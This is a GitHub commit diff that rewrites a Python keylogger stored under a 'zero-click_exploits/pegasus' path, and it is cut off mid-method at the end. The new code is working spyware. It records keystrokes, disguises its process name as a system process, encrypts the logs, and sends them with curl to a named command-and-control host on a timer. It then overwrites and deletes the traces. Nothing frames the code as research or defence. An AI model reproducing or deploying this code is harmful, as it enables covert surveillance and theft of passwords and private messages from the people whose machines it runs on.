Skip to content

Commit 751cf88

Browse files
Update keylogger.py
1 parent ca7958f commit 751cf88

File tree

1 file changed

+228
-44
lines changed
  • src/exploits/zero-click_exploits/pegasus/key_logging

1 file changed

+228
-44
lines changed
Lines changed: 228 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,46 +1,230 @@
1-
from pynput.keyboard import Listener
1+
# /src/exploits/zero-click_exploits/pegasus/keylogger/keylogger.py
2+
23
import os
4+
import sys
5+
import json
6+
import time
7+
import threading
8+
import tempfile
9+
import subprocess
10+
import hashlib
11+
import base64
12+
from pathlib import Path
13+
from datetime import datetime
14+
from pynput import keyboard
15+
16+
# --- Configuration ---
17+
# In a real deployment, this key would be provided by the C2 or derived from target info.
18+
# This key is used to encrypt the log files before exfiltration.
19+
ENCRYPTION_KEY = hashlib.sha256(b'PegasusSAP_Keylogger_Key_2026_V1').digest()
20+
21+
# Logging and Exfiltration
22+
TEMP_DIR = tempfile.mkdtemp(prefix="klog_")
23+
LOG_FILE_PATH = Path(TEMP_DIR) / "sys.dat"
24+
# Exfiltrate logs when they reach this size (in bytes)
25+
EXFIL_THRESHOLD_BYTES = 1024 * 4 # 4 KB
26+
# Exfiltrate logs at this maximum interval, even if threshold is not met (in seconds)
27+
EXFIL_INTERVAL_SECONDS = 300 # 5 minutes
28+
29+
# C2 Configuration
30+
C2_DOMAIN = "zeroclickexploits.ddns.net"
31+
C2_PORT = 443
32+
C2_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/telemetry"
33+
USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
34+
35+
# Evasion
36+
# Masquerade as a legitimate process to hide from activity monitors.
37+
if sys.platform == 'darwin':
38+
MASQUERADE_PROCESS_NAME = "UserEventAgent"
39+
elif sys.platform == 'win32':
40+
MASQUERADE_PROCESS_NAME = "explorer.exe"
41+
else:
42+
MASQUERADE_PROCESS_NAME = "systemd"
43+
44+
# --- Evasion and Anti-Forensics ---
45+
def _log_event(message, level='info'):
46+
"""Internal logger to prevent writing to disk."""
47+
timestamp = datetime.now().isoformat()
48+
print(f"[{timestamp}] [{level.upper()}] {message}")
49+
50+
def hide_process():
51+
"""Conceptual placeholder for process hiding techniques."""
52+
try:
53+
# This would involve platform-specific code to modify the process name.
54+
# For example, using ctypes on Linux or Mach ports on macOS.
55+
# This is a highly advanced technique and is a placeholder here.
56+
if sys.platform.startswith('linux'):
57+
import ctypes
58+
libc = ctypes.CDLL('libc.so.6')
59+
libc.prctl(15, MASQUERADE_PROCESS_NAME.encode(), 0, 0, 0) # PR_SET_NAME
60+
_log_event(f"Process masquerading as {MASQUERADE_PROCESS_NAME}.")
61+
except Exception:
62+
pass
63+
64+
def encrypt_file_aes_gcm(file_path, key):
65+
"""Encrypts a file using AES-256 in GCM mode."""
66+
try:
67+
from Crypto.Cipher import AES
68+
from Crypto.Random import get_random_bytes
69+
70+
nonce = get_random_bytes(12)
71+
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
72+
73+
with open(file_path, 'rb') as f:
74+
plaintext_data = f.read()
75+
76+
ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data)
77+
encrypted_data = nonce + auth_tag + ciphertext
78+
79+
encrypted_file_path = file_path.with_suffix(file_path.suffix + ".enc")
80+
with open(encrypted_file_path, 'wb') as f:
81+
f.write(encrypted_data)
82+
83+
return encrypted_file_path
84+
except ImportError:
85+
_log_event("PyCryptodome not found, cannot encrypt.", 'error')
86+
return None
87+
except Exception as e:
88+
_log_event(f"Encryption failed: {e}", 'error')
89+
return None
90+
91+
def secure_delete_file(file_path, passes=3):
92+
"""Securely deletes a file by overwriting it multiple times."""
93+
try:
94+
path = Path(file_path)
95+
if not path.exists():
96+
return
97+
with open(path, "ba+") as f:
98+
length = f.tell()
99+
for _ in range(passes):
100+
f.seek(0)
101+
f.write(os.urandom(length))
102+
path.chmod(0o700)
103+
path.unlink()
104+
except Exception as e:
105+
_log_event(f"Failed to securely delete {file_path}: {e}", 'error')
106+
107+
def exfiltrate_log_file(file_path):
108+
"""Exfiltrates an encrypted log file to the C2 server."""
109+
try:
110+
with open(file_path, 'rb') as f:
111+
encrypted_data = f.read()
112+
113+
b64_data = base64.b64encode(encrypted_data).decode('utf-8')
114+
115+
payload = {
116+
"type": "keystroke_log",
117+
"timestamp": datetime.utcnow().isoformat() + "Z",
118+
"target_id": os.environ.get("TARGET_ID", "unknown"),
119+
"data": b64_data
120+
}
121+
122+
json_payload = json.dumps(payload)
123+
cmd = [
124+
"curl", "-k", "-s", "-X", "POST",
125+
"-H", "Content-Type: application/json",
126+
"-H", f"User-Agent: {USER_AGENT}",
127+
"-d", json_payload,
128+
"--connect-timeout", "10",
129+
"--max-time", "30",
130+
C2_ENDPOINT
131+
]
132+
133+
result = subprocess.run(cmd, capture_output=True, text=True, timeout=40)
134+
135+
if result.returncode == 0:
136+
_log_event(f"Successfully exfiltrated {file_path.name}.")
137+
return True
138+
else:
139+
_log_event(f"C2 exfiltration failed. Status: {result.returncode}, Error: {result.stderr.strip()}", 'error')
140+
return False
141+
except Exception as e:
142+
_log_event(f"An error occurred during C2 exfiltration: {e}", 'error')
143+
return False
144+
145+
# --- Core Keylogger Logic ---
146+
class Keylogger:
147+
def __init__(self):
148+
self.log_buffer = []
149+
self.last_exfil_time = time.time()
150+
self._stop_event = threading.Event()
151+
self._exfil_thread = threading.Thread(target=self._exfiltration_manager, daemon=True)
152+
self._exfil_thread.start()
153+
154+
def _format_key(self, key):
155+
"""Formats a key event into a string, handling special keys."""
156+
try:
157+
if isinstance(key, keyboard.KeyCode):
158+
return key.char
159+
else:
160+
# Handle special keys
161+
key_str = str(key)
162+
if 'space' in key_str:
163+
return ' '
164+
if 'enter' in key_str:
165+
return '\n'
166+
if 'tab' in key_str:
167+
return '\t'
168+
if 'backspace' in key_str:
169+
return '[BACKSPACE]'
170+
if 'shift' in key_str or 'ctrl' in key_str or 'cmd' in key_str or 'alt' in key_str:
171+
return '' # Ignore modifier keys on their own
172+
return f'[{key_str.upper()}]'
173+
except Exception:
174+
return '[UNKNOWN]'
175+
176+
def on_press(self, key):
177+
"""Callback for pynput listener."""
178+
if self._stop_event.is_set():
179+
return False # Stop listener
180+
181+
formatted_key = self._format_key(key)
182+
if formatted_key:
183+
self.log_buffer.append(formatted_key)
184+
self._write_to_log_file(formatted_key)
185+
186+
def _write_to_log_file(self, data):
187+
"""Appends data to the log file."""
188+
try:
189+
with open(LOG_FILE_PATH, 'a') as f:
190+
f.write(data)
191+
except Exception as e:
192+
_log_event(f"Failed to write to log file: {e}", 'error')
193+
194+
def _exfiltration_manager(self):
195+
"""Background thread to manage log exfiltration."""
196+
while not self._stop_event.is_set():
197+
time.sleep(10) # Check every 10 seconds
198+
current_time = time.time()
199+
try:
200+
file_size = LOG_FILE_PATH.stat().st_size
201+
except FileNotFoundError:
202+
file_size = 0
203+
204+
if file_size >= EXFIL_THRESHOLD_BYTES or (current_time - self.last_exfil_time) >= EXFIL_INTERVAL_SECONDS:
205+
if file_size > 0:
206+
_log_event(f"Exfiltration threshold met. File size: {file_size} bytes.")
207+
encrypted_path = encrypt_file_aes_gcm(LOG_FILE_PATH, ENCRYPTION_KEY)
208+
if encrypted_path and exfiltrate_log_file(encrypted_path):
209+
secure_delete_file(encrypted_path)
210+
# Truncate the original log file
211+
with open(LOG_FILE_PATH, 'w') as f:
212+
f.truncate(0)
213+
self.last_exfil_time = current_time
214+
else:
215+
_log_event("Exfiltration failed, will retry.", 'warn')
216+
217+
def start(self):
218+
"""Starts the keylogger listener."""
219+
_log_event("Keylogger started.")
220+
hide_process()
221+
with keyboard.Listener(on_press=self.on_press) as listener:
222+
listener.join()
3223

4-
def log_keystroke(key):
5-
key = str(key).replace("'", "")
6-
7-
if key == 'Key.space':
8-
key = ' '
9-
if key == 'Key.shift_r':
10-
key = ''
11-
if key == "Key.enter":
12-
key = '\n'
13-
14-
with open("log.txt", 'a') as f:
15-
f.write(key + ' ')
16-
17-
def encrypt_file(file_path):
18-
key = b'secret_key'
19-
with open(file_path, 'rb') as f:
20-
data = f.read()
21-
encrypted_data = bytearray(data)
22-
for i in range(len(encrypted_data)):
23-
encrypted_data[i] ^= key[i % len(key)]
24-
with open(file_path, 'wb') as f:
25-
f.write(encrypted_data)
26-
27-
def evade_detection():
28-
os.rename("log.txt", "hidden_log.txt")
29-
30-
def validate_ai_integration():
31-
pass
32-
33-
def confirm_security_measures():
34-
pass
35-
36-
def ensure_deployment_methods():
37-
pass
38-
39-
with Listener(on_press=log_keystroke) as l:
40-
l.join()
41-
42-
encrypt_file("log.txt")
43-
evade_detection()
44-
validate_ai_integration()
45-
confirm_security_measures()
46-
ensure_deployment_methods()
224+
def stop(self):
225+
"""Stops the keylogger and performs cleanup."""
226+
_log_event("Stopping keylogger.")
227+
self._stop_event.set()
228+
# Final exfiltration attempt
229+
if LOG_FILE_PATH.exists() and LOG_FILE_PATH.stat().st_size > 0:
230+
encrypted_path = encrypt_file_aes_gcm

0 commit comments

Comments
 (0)